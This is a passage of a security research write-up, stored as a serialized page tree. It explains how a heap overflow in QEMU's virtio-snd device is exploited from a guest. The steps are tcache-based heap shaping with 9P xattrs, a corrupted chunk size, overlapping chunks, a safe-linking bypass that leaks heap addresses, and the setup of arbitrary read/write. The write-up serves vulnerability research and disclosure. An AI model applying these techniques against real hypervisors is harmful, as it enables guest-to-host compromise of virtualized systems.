,{"type":32,"value":7184},{"type":26,"tag":39,"props":39298,"children":39299},{},[39300,39302,39307,39309,39314,39315,39320,39322,39327],{"type":32,"value":39301},"Because the ",{"type":26,"tag":83,"props":39303,"children":39305},{"className":39304},[],[39306],{"type":32,"value":38661},{"type":32,"value":39308}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":26,"tag":83,"props":39310,"children":39312},{"className":39311},[],[39313],{"type":32,"value":38661},{"type":32,"value":1308},{"type":26,"tag":83,"props":39316,"children":39318},{"className":39317},[],[39319],{"type":32,"value":38668},{"type":32,"value":39321},", not just the ",{"type":26,"tag":83,"props":39323,"children":39325},{"className":39324},[],[39326],{"type":32,"value":38668},{"type":32,"value":39328}," we actually care about. But we will get around this later in the blog post.",{"type":26,"tag":39,"props":39330,"children":39331},{},[39332,39333,39338],{"type":32,"value":475},{"type":26,"tag":83,"props":39334,"children":39336},{"className":39335},[],[39337],{"type":32,"value":38668},{"type":32,"value":39339}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":26,"tag":39,"props":39341,"children":39342},{},[39343,39345,39350,39352,39358,39360,39366,39368,39374],{"type":32,"value":39344},"Once allocated, we can write arbitrary bytes into the ",{"type":26,"tag":83,"props":39346,"children":39348},{"className":39347},[],[39349],{"type":32,"value":38668},{"type":32,"value":39351}," buffer through a ",{"type":26,"tag":83,"props":39353,"children":39355},{"className":39354},[],[39356],{"type":32,"value":39357},"P9_TWRITE",{"type":32,"value":39359}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":26,"tag":83,"props":39361,"children":39363},{"className":39362},[],[39364],{"type":32,"value":39365},"P9_TREAD",{"type":32,"value":39367},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":26,"tag":83,"props":39369,"children":39371},{"className":39370},[],[39372],{"type":32,"value":39373},"P9_TCLUNK",{"type":32,"value":39375}," request on that same FID.",{"type":26,"tag":39,"props":39377,"children":39378},{},[39379,39381,39387],{"type":32,"value":39380},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":26,"tag":83,"props":39382,"children":39384},{"className":39383},[],[39385],{"type":32,"value":39386},"65536",{"type":32,"value":39388}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":26,"tag":607,"props":39390,"children":39392},{"id":39391},"setting-the-heap-layout",[39393],{"type":32,"value":39394},"Setting the Heap Layout",{"type":26,"tag":39,"props":39396,"children":39397},{},[39398,39400,39405],{"type":32,"value":39399},"Ideally, we want a contiguous heap region consisting only of ",{"type":26,"tag":83,"props":39401,"children":39403},{"className":39402},[],[39404],{"type":32,"value":38668},{"type":32,"value":39406}," allocations, like this:",{"type":26,"tag":207,"props":39408,"children":39410},{"code":39409},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[39411],{"type":26,"tag":83,"props":39412,"children":39413},{"__ignoreMap":8},[39414],{"type":32,"value":39409},{"type":26,"tag":39,"props":39416,"children":39417},{},[39418,39420,39425,39427,39432,39434,39439],{"type":32,"value":39419},"This lets us later create holes by freeing every other ",{"type":26,"tag":83,"props":39421,"children":39423},{"className":39422},[],[39424],{"type":32,"value":38668},{"type":32,"value":39426}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":26,"tag":83,"props":39428,"children":39430},{"className":39429},[],[39431],{"type":32,"value":12431},{"type":32,"value":39433}," field of the next live ",{"type":26,"tag":83,"props":39435,"children":39437},{"className":39436},[],[39438],{"type":32,"value":38668},{"type":32,"value":39440}," chunk.",{"type":26,"tag":39,"props":39442,"children":39443},{},[39444],{"type":32,"value":39445},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":26,"tag":39,"props":39447,"children":39448},{},[39449,39451,39456,39458,39463,39465,39470,39472,39477],{"type":32,"value":39450},"As mentioned earlier, ",{"type":26,"tag":83,"props":39452,"children":39454},{"className":39453},[],[39455],{"type":32,"value":38705},{"type":32,"value":39457}," always allocates two chunks: one for ",{"type":26,"tag":83,"props":39459,"children":39461},{"className":39460},[],[39462],{"type":32,"value":38661},{"type":32,"value":39464}," and one for ",{"type":26,"tag":83,"props":39466,"children":39468},{"className":39467},[],[39469],{"type":32,"value":38668},{"type":32,"value":39471},". We want to avoid having ",{"type":26,"tag":83,"props":39473,"children":39475},{"className":39474},[],[39476],{"type":32,"value":38661},{"type":32,"value":39478}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":26,"tag":6712,"props":39480,"children":39481},{},[39482,39494],{"type":26,"tag":2044,"props":39483,"children":39484},{},[39485,39487,39492],{"type":32,"value":39486},"Make ",{"type":26,"tag":83,"props":39488,"children":39490},{"className":39489},[],[39491],{"type":32,"value":38661},{"type":32,"value":39493}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":26,"tag":2044,"props":39495,"children":39496},{},[39497,39499,39504,39506,39511,39513,39518],{"type":32,"value":39498},"Prepare a separate region whose sole purpose is to absorb ",{"type":26,"tag":83,"props":39500,"children":39502},{"className":39501},[],[39503],{"type":32,"value":38661},{"type":32,"value":39505},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":26,"tag":83,"props":39507,"children":39509},{"className":39508},[],[39510],{"type":32,"value":38661},{"type":32,"value":39512}," allocations from that separate freelist instead of placing them next to our ",{"type":26,"tag":83,"props":39514,"children":39516},{"className":39515},[],[39517],{"type":32,"value":38668},{"type":32,"value":39519}," chunks.",{"type":26,"tag":631,"props":39521,"children":39523},{"id":39522},"separating-name-allocations",[39524],{"type":32,"value":39525},"Separating .name allocations",{"type":26,"tag":39,"props":39527,"children":39528},{},[39529,39531,39536,39538,39543],{"type":32,"value":39530},"We chose the second option. However, it is not as simple as issuing ",{"type":26,"tag":83,"props":39532,"children":39534},{"className":39533},[],[39535],{"type":32,"value":38705},{"type":32,"value":39537}," for N ",{"type":26,"tag":83,"props":39539,"children":39541},{"className":39540},[],[39542],{"type":32,"value":38661},{"type":32,"value":39544},"-sized allocations and then freeing them.",{"type":26,"tag":39,"props":39546,"children":39547},{},[39548,39550,39555,39556,39561,39562,39567,39569,39574,39576,39581],{"type":32,"value":39549},"At this point, we already know that ",{"type":26,"tag":83,"props":39551,"children":39553},{"className":39552},[],[39554],{"type":32,"value":38705},{"type":32,"value":39457},{"type":26,"tag":83,"props":39557,"children":39559},{"className":39558},[],[39560],{"type":32,"value":38661},{"type":32,"value":39464},{"type":26,"tag":83,"props":39563,"children":39565},{"className":39564},[],[39566],{"type":32,"value":38668},{"type":32,"value":39568},". If we simply call it with ",{"type":26,"tag":83,"props":39570,"children":39572},{"className":39571},[],[39573],{"type":32,"value":38668},{"type":32,"value":39575}," sized the same as ",{"type":26,"tag":83,"props":39577,"children":39579},{"className":39578},[],[39580],{"type":32,"value":38661},{"type":32,"value":39582},", we get a layout like this:",{"type":26,"tag":207,"props":39584,"children":39586},{"code":39585},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[39587],{"type":26,"tag":83,"props":39588,"children":39589},{"__ignoreMap":8},[39590],{"type":32,"value":39585},{"type":26,"tag":39,"props":39592,"children":39593},{},[39594,39596,39601,39603,39609,39611,39617,39619,39624,39626,39631,39633,39638],{"type":32,"value":39595},"With that heap state, issuing a ",{"type":26,"tag":83,"props":39597,"children":39599},{"className":39598},[],[39600],{"type":32,"value":39373},{"type":32,"value":39602}," request would first free ",{"type":26,"tag":83,"props":39604,"children":39606},{"className":39605},[],[39607],{"type":32,"value":39608},".name A",{"type":32,"value":39610}," and then ",{"type":26,"tag":83,"props":39612,"children":39614},{"className":39613},[],[39615],{"type":32,"value":39616},".value A",{"type":32,"value":39618},". When ",{"type":26,"tag":83,"props":39620,"children":39622},{"className":39621},[],[39623],{"type":32,"value":39616},{"type":32,"value":39625}," is freed, the allocator sees that the preceding chunk ",{"type":26,"tag":83,"props":39627,"children":39629},{"className":39628},[],[39630],{"type":32,"value":39608},{"type":32,"value":39632}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":26,"tag":83,"props":39634,"children":39636},{"className":39635},[],[39637],{"type":32,"value":38661},{"type":32,"value":39639},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":26,"tag":39,"props":39641,"children":39642},{},[39643],{"type":32,"value":39644},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":26,"tag":39,"props":39646,"children":39647},{},[39648,39650,39655,39657,39663,39665,39670,39672,39677,39679,39684,39686,39692],{"type":32,"value":39649},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":26,"tag":83,"props":39651,"children":39653},{"className":39652},[],[39654],{"type":32,"value":38661},{"type":32,"value":39656}," allocation remains fixed at size ",{"type":26,"tag":83,"props":39658,"children":39660},{"className":39659},[],[39661],{"type":32,"value":39662},"0x20",{"type":32,"value":39664},". We first allocate 16 xattrs whose ",{"type":26,"tag":83,"props":39666,"children":39668},{"className":39667},[],[39669],{"type":32,"value":38668},{"type":32,"value":39671}," size is ",{"type":26,"tag":83,"props":39673,"children":39675},{"className":39674},[],[39676],{"type":32,"value":15098},{"type":32,"value":39678},". After that, we allocate another 16 xattrs, this time with ",{"type":26,"tag":83,"props":39680,"children":39682},{"className":39681},[],[39683],{"type":32,"value":38668},{"type":32,"value":39685}," size ",{"type":26,"tag":83,"props":39687,"children":39689},{"className":39688},[],[39690],{"type":32,"value":39691},"0x40",{"type":32,"value":39693},", and continue in the same way for each tcache size class.",{"type":26,"tag":39,"props":39695,"children":39696},{},[39697],{"type":32,"value":39698},"This yields the following layout:",{"type":26,"tag":207,"props":39700,"children":39702},{"code":39701},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[39703],{"type":26,"tag":83,"props":39704,"children":39705},{"__ignoreMap":8},[39706],{"type":32,"value":39701},{"type":26,"tag":39,"props":39708,"children":39709},{},[39710,39712,39717,39719,39724,39726,39731,39733,39738,39740,39745,39747,39752,39753,39758,39760,39765,39767,39772,39774,39779,39781,39786,39788,39793],{"type":32,"value":39711},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":26,"tag":83,"props":39713,"children":39715},{"className":39714},[],[39716],{"type":32,"value":38661},{"type":32,"value":39718}," chunks end up in the ",{"type":26,"tag":83,"props":39720,"children":39722},{"className":39721},[],[39723],{"type":32,"value":39662},{"type":32,"value":39725}," tcache bin, along with the interleaved ",{"type":26,"tag":83,"props":39727,"children":39729},{"className":39728},[],[39730],{"type":32,"value":38668},{"type":32,"value":39732}," chunks of size ",{"type":26,"tag":83,"props":39734,"children":39736},{"className":39735},[],[39737],{"type":32,"value":15098},{"type":32,"value":39739},". The next 16 ",{"type":26,"tag":83,"props":39741,"children":39743},{"className":39742},[],[39744],{"type":32,"value":38661},{"type":32,"value":39746}," chunks are interleaved with ",{"type":26,"tag":83,"props":39748,"children":39750},{"className":39749},[],[39751],{"type":32,"value":38668},{"type":32,"value":39732},{"type":26,"tag":83,"props":39754,"children":39756},{"className":39755},[],[39757],{"type":32,"value":39691},{"type":32,"value":39759},"; when freed, those ",{"type":26,"tag":83,"props":39761,"children":39763},{"className":39762},[],[39764],{"type":32,"value":38668},{"type":32,"value":39766}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":26,"tag":83,"props":39768,"children":39770},{"className":39769},[],[39771],{"type":32,"value":38661},{"type":32,"value":39773}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":26,"tag":83,"props":39775,"children":39777},{"className":39776},[],[39778],{"type":32,"value":38661},{"type":32,"value":39780},"-sized chunks that will later be served to the ",{"type":26,"tag":83,"props":39782,"children":39784},{"className":39783},[],[39785],{"type":32,"value":38661},{"type":32,"value":39787}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":26,"tag":83,"props":39789,"children":39791},{"className":39790},[],[39792],{"type":32,"value":38668},{"type":32,"value":39519},{"type":26,"tag":607,"props":39795,"children":39797},{"id":39796},"corrupting-the-size",[39798],{"type":32,"value":39799},"Corrupting the Size",{"type":26,"tag":39,"props":39801,"children":39802},{},[39803,39805,39810,39812,39817,39819,39824,39826,39831,39832,39837],{"type":32,"value":39804},"The input format is guest-controlled, and we choose ",{"type":26,"tag":83,"props":39806,"children":39808},{"className":39807},[],[39809],{"type":32,"value":36887},{"type":32,"value":39811}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":26,"tag":83,"props":39813,"children":39815},{"className":39814},[],[39816],{"type":32,"value":36887},{"type":32,"value":39818}," is centered at ",{"type":26,"tag":83,"props":39820,"children":39822},{"className":39821},[],[39823],{"type":32,"value":36903},{"type":32,"value":39825}," (rather than ",{"type":26,"tag":83,"props":39827,"children":39829},{"className":39828},[],[39830],{"type":32,"value":36918},{"type":32,"value":36905},{"type":26,"tag":83,"props":39833,"children":39835},{"className":39834},[],[39836],{"type":32,"value":36895},{"type":32,"value":39838},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":26,"tag":39,"props":39840,"children":39841},{},[39842,39844,39849],{"type":32,"value":39843},"As we already concluded, ",{"type":26,"tag":83,"props":39845,"children":39847},{"className":39846},[],[39848],{"type":32,"value":36359},{"type":32,"value":39850}," is called with the amount:",{"type":26,"tag":207,"props":39852,"children":39854},{"code":39853},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[39855],{"type":26,"tag":83,"props":39856,"children":39857},{"__ignoreMap":8},[39858],{"type":32,"value":39853},{"type":26,"tag":39,"props":39860,"children":39861},{},[39862,39864,39869,39871,39876],{"type":32,"value":39863},"And as mentioned earlier, ",{"type":26,"tag":83,"props":39865,"children":39867},{"className":39866},[],[39868],{"type":32,"value":36390},{"type":32,"value":39870}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":26,"tag":83,"props":39872,"children":39874},{"className":39873},[],[39875],{"type":32,"value":12431},{"type":32,"value":705},{"type":26,"tag":39,"props":39878,"children":39879},{},[39880,39882,39887,39889,39894],{"type":32,"value":39881},"With the desired heap layout of repeated ",{"type":26,"tag":83,"props":39883,"children":39885},{"className":39884},[],[39886],{"type":32,"value":14243},{"type":32,"value":39888},"-sized ",{"type":26,"tag":83,"props":39890,"children":39892},{"className":39891},[],[39893],{"type":32,"value":38668},{"type":32,"value":39895}," chunks in place, we can then free every other one:",{"type":26,"tag":207,"props":39897,"children":39899},{"code":39898},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[39900],{"type":26,"tag":83,"props":39901,"children":39902},{"__ignoreMap":8},[39903],{"type":32,"value":39898},{"type":26,"tag":39,"props":39905,"children":39906},{},[39907,39909,39914],{"type":32,"value":39908},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":26,"tag":83,"props":39910,"children":39912},{"className":39911},[],[39913],{"type":32,"value":38668},{"type":32,"value":39915}," chunk directly next to it:",{"type":26,"tag":207,"props":39917,"children":39919},{"code":39918},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[39920],{"type":26,"tag":83,"props":39921,"children":39922},{"__ignoreMap":8},[39923],{"type":32,"value":39918},{"type":26,"tag":39,"props":39925,"children":39926},{},[39927,39929,39934,39936,39941],{"type":32,"value":39928},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":26,"tag":83,"props":39930,"children":39932},{"className":39931},[],[39933],{"type":32,"value":14243},{"type":32,"value":39935},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":26,"tag":83,"props":39937,"children":39939},{"className":39938},[],[39940],{"type":32,"value":38668},{"type":32,"value":39942}," chunk now has a corrupted and likely oversized size field:",{"type":26,"tag":207,"props":39944,"children":39946},{"code":39945},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[39947],{"type":26,"tag":83,"props":39948,"children":39949},{"__ignoreMap":8},[39950],{"type":32,"value":39945},{"type":26,"tag":39,"props":39952,"children":39953},{},[39954,39956,39961],{"type":32,"value":39955},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":26,"tag":83,"props":39957,"children":39959},{"className":39958},[],[39960],{"type":32,"value":38585},{"type":32,"value":1473},{"type":26,"tag":207,"props":39963,"children":39965},{"code":39964},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[39966],{"type":26,"tag":83,"props":39967,"children":39968},{"__ignoreMap":8},[39969],{"type":32,"value":39964},{"type":26,"tag":39,"props":39971,"children":39972},{},[39973,39975,39980],{"type":32,"value":39974},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":26,"tag":83,"props":39976,"children":39978},{"className":39977},[],[39979],{"type":32,"value":38585},{"type":32,"value":8256},{"type":26,"tag":207,"props":39982,"children":39984},{"code":39983},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[39985],{"type":26,"tag":83,"props":39986,"children":39987},{"__ignoreMap":8},[39988],{"type":32,"value":39983},{"type":26,"tag":39,"props":39990,"children":39991},{},[39992,39994,40000],{"type":32,"value":39993},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":26,"tag":83,"props":39995,"children":39997},{"className":39996},[],[39998],{"type":32,"value":39999},"0x400",{"type":32,"value":40001}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":26,"tag":207,"props":40003,"children":40005},{"code":40004},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[40006],{"type":26,"tag":83,"props":40007,"children":40008},{"__ignoreMap":8},[40009],{"type":32,"value":40004},{"type":26,"tag":607,"props":40011,"children":40013},{"id":40012},"leaking-a-heap-address",[40014],{"type":32,"value":40015},"Leaking a Heap Address",{"type":26,"tag":39,"props":40017,"children":40018},{},[40019],{"type":32,"value":40020},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":26,"tag":39,"props":40022,"children":40023},{},[40024,40026,40032],{"type":32,"value":40025},"To do this, we abuse the forward (",{"type":26,"tag":83,"props":40027,"children":40029},{"className":40028},[],[40030],{"type":32,"value":40031},"fd",{"type":32,"value":40033},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":26,"tag":207,"props":40035,"children":40037},{"code":40036},"fd = next ^ (curr >> 12)\n",[40038],{"type":26,"tag":83,"props":40039,"children":40040},{"__ignoreMap":8},[40041],{"type":32,"value":40036},{"type":26,"tag":39,"props":40043,"children":40044},{},[40045,40047,40052,40053,40058],{"type":32,"value":40046},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":26,"tag":83,"props":40048,"children":40050},{"className":40049},[],[40051],{"type":32,"value":28495},{"type":32,"value":1681},{"type":26,"tag":83,"props":40054,"children":40056},{"className":40055},[],[40057],{"type":32,"value":18022},{"type":32,"value":40059}," because there is no following entry. In that case, the encoding becomes:",{"type":26,"tag":207,"props":40061,"children":40063},{"code":40062},"fd = 0 ^ (curr >> 12)\n",[40064],{"type":26,"tag":83,"props":40065,"children":40066},{"__ignoreMap":8},[40067],{"type":32,"value":40062},{"type":26,"tag":39,"props":40069,"children":40070},{},[40071,40073,40078],{"type":32,"value":40072},"So if we free a single chunk into an empty tcache bin, its ",{"type":26,"tag":83,"props":40074,"children":40076},{"className":40075},[],[40077],{"type":32,"value":40031},{"type":32,"value":40079}," field is effectively just the chunk address shifted right by 12.",{"type":26,"tag":39,"props":40081,"children":40082},{},[40083],{"type":32,"value":40084},"In the overlap we achieved earlier:",{"type":26,"tag":207,"props":40086,"children":40088},{"code":40087},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[40089],{"type":26,"tag":83,"props":40090,"children":40091},{"__ignoreMap":8},[40092],{"type":32,"value":40087},{"type":26,"tag":39,"props":40094,"children":40095},{},[40096,40098,40104,40106,40112,40114,40120,40122,40127],{"type":32,"value":40097},"We first free ",{"type":26,"tag":83,"props":40099,"children":40101},{"className":40100},[],[40102],{"type":32,"value":40103},".value C",{"type":32,"value":40105}," into tcache and read its contents through the oversized ",{"type":26,"tag":83,"props":40107,"children":40109},{"className":40108},[],[40110],{"type":32,"value":40111},".value Y",{"type":32,"value":40113},". This gives us ",{"type":26,"tag":83,"props":40115,"children":40117},{"className":40116},[],[40118],{"type":32,"value":40119},".value C >> 12",{"type":32,"value":40121},". That is not yet the exact address of ",{"type":26,"tag":83,"props":40123,"children":40125},{"className":40124},[],[40126],{"type":32,"value":40103},{"type":32,"value":40128},", since the lower 12 bits are lost.",{"type":26,"tag":39,"props":40130,"children":40131},{},[40132,40134,40139,40141,40146,40148,40153,40155,40160],{"type":32,"value":40133},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":26,"tag":83,"props":40135,"children":40137},{"className":40136},[],[40138],{"type":32,"value":40103},{"type":32,"value":40140},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":26,"tag":83,"props":40142,"children":40144},{"className":40143},[],[40145],{"type":32,"value":40103},{"type":32,"value":40147}," again. This time, ",{"type":26,"tag":83,"props":40149,"children":40151},{"className":40150},[],[40152],{"type":32,"value":28495},{"type":32,"value":40154}," is no longer ",{"type":26,"tag":83,"props":40156,"children":40158},{"className":40157},[],[40159],{"type":32,"value":18022},{"type":32,"value":40161},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":26,"tag":207,"props":40163,"children":40164},{"code":40036},[40165],{"type":26,"tag":83,"props":40166,"children":40167},{"__ignoreMap":8},[40168],{"type":32,"value":40036},{"type":26,"tag":39,"props":40170,"children":40171},{},[40172,40174,40180,40182,40187,40189,40194,40196,40201],{"type":32,"value":40173},"Since we already know ",{"type":26,"tag":83,"props":40175,"children":40177},{"className":40176},[],[40178],{"type":32,"value":40179},"curr >> 12",{"type":32,"value":40181}," from the first leak, we can read the new ",{"type":26,"tag":83,"props":40183,"children":40185},{"className":40184},[],[40186],{"type":32,"value":40031},{"type":32,"value":40188}," value from ",{"type":26,"tag":83,"props":40190,"children":40192},{"className":40191},[],[40193],{"type":32,"value":40103},{"type":32,"value":40195}," and recover the exact address of ",{"type":26,"tag":83,"props":40197,"children":40199},{"className":40198},[],[40200],{"type":32,"value":28495},{"type":32,"value":40202}," by reversing the XOR:",{"type":26,"tag":207,"props":40204,"children":40206},{"code":40205},"next = fd ^ (curr >> 12)\n",[40207],{"type":26,"tag":83,"props":40208,"children":40209},{"__ignoreMap":8},[40210],{"type":32,"value":40205},{"type":26,"tag":39,"props":40212,"children":40213},{},[40214],{"type":32,"value":40215},"This gives us the exact address of a heap chunk whose contents we control.",{"type":26,"tag":607,"props":40217,"children":40219},{"id":40218},"arbitrary-read-and-write",[40220],{"type":32,"value":40221},"Arbitrary Read and Write",{"type":26,"tag":39,"props":40223,"children":40224},{},[40225,40227,40232],{"type":32,"value":40226},"Having a controlled chunk at a known address lets us repurpose ",{"type":26,"tag":83,"props":40228,"children":40230},{"className":40229},[],[40231],{"type":32,"value":40103},{"type":32,"value":40233}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":26,"tag":39,"props":40235,"children":40236},{},[40237,40239,40244],{"type":32,"value":40238},"Recall ",{"type":26,"tag":83,"props":40240,"children":40242},{"className":40241},[],[40243],{"type":32,"value":38705},{"type":32,"value":1473},{"type":26,"tag":207,"props":40246,"children":40248},{"code":40247,"language":2255,"meta":8,"className":9574,"style":8},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[40249],{"type":26,"tag":83,"props":40250,"children":40251},{"__ignoreMap":8},[40252,40291,40298,40309,40324,40339,40346,40353,40360,40382,40389,40396,40403,40411,40428,40467,40510,40517],{"type":26,"tag":217,"props":40253,"children":40254},{"class":7028,"line":7029},[40255,40259,40263,40267,40271,40275,40279,40283,40287],{"type":26,"tag":217,"props":40256,"children":40257},{"style":7154},[40258],{"type":32,"value":9987},{"type":26,"tag":217,"props":40260,"children":40261},{"style":7154},[40262],{"type":32,"value":8936},{"type":26,"tag":217,"props":40264,"children":40265},{"style":7048},[40266],{"type":32,"value":38700},{"type":26,"tag":217,"props":40268,"children":40269},{"style":7064},[40270],{"type":32,"value":38705},{"type":26,"tag":217,"props":40272,"children":40273},{"style":7048},[40274],{"type":32,"value":1851},{"type":26,"tag":217,"props":40276,"children":40277},{"style":7154},[40278],{"type":32,"value":35543},{"type":26,"tag":217,"props":40280,"children":40281},{"style":7149},[40282],{"type":32,"value":9690},{"type":26,"tag":217,"props":40284,"children":40285},{"style":7054},[40286],{"type":32,"value":38722},{"type":26,"tag":217,"props":40288,"children":40289},{"style":7048},[40290],{"type":32,"value":10025},{"type":26,"tag":217,"props":40292,"children":40293},{"class":7028,"line":6770},[40294],{"type":26,"tag":217,"props":40295,"children":40296},{"style":7048},[40297],{"type":32,"value":10033},{"type":26,"tag":217,"props":40299,"children":40300},{"class":7028,"line":6779},[40301,40305],{"type":26,"tag":217,"props":40302,"children":40303},{"style":7154},[40304],{"type":32,"value":35352},{"type":26,"tag":217,"props":40306,"children":40307},{"style":7048},[40308],{"type":32,"value":12311},{"type":26,"tag":217,"props":40310,"children":40311},{"class":7028,"line":7140},[40312,40316,40320],{"type":26,"tag":217,"props":40313,"children":40314},{"style":7048},[40315],{"type":32,"value":38847},{"type":26,"tag":217,"props":40317,"children":40318},{"style":7149},[40319],{"type":32,"value":10006},{"type":26,"tag":217,"props":40321,"children":40322},{"style":7048},[40323],{"type":32,"value":38856},{"type":26,"tag":217,"props":40325,"children":40326},{"class":7028,"line":7165},[40327,40331,40335],{"type":26,"tag":217,"props":40328,"children":40329},{"style":7048},[40330],{"type":32,"value":38847},{"type":26,"tag":217,"props":40332,"children":40333},{"style":7149},[40334],{"type":32,"value":10006},{"type":26,"tag":217,"props":40336,"children":40337},{"style":7048},[40338],{"type":32,"value":38872},{"type":26,"tag":217,"props":40340,"children":40341},{"class":7028,"line":7178},[40342],{"type":26,"tag":217,"props":40343,"children":40344},{"emptyLinePlaceholder":17},[40345],{"type":32,"value":7817},{"type":26,"tag":217,"props":40347,"children":40348},{"class":7028,"line":7389},[40349],{"type":26,"tag":217,"props":40350,"children":40351},{"style":7048},[40352],{"type":32,"value":34647},{"type":26,"tag":217,"props":40354,"children":40355},{"class":7028,"line":7406},[40356],{"type":26,"tag":217,"props":40357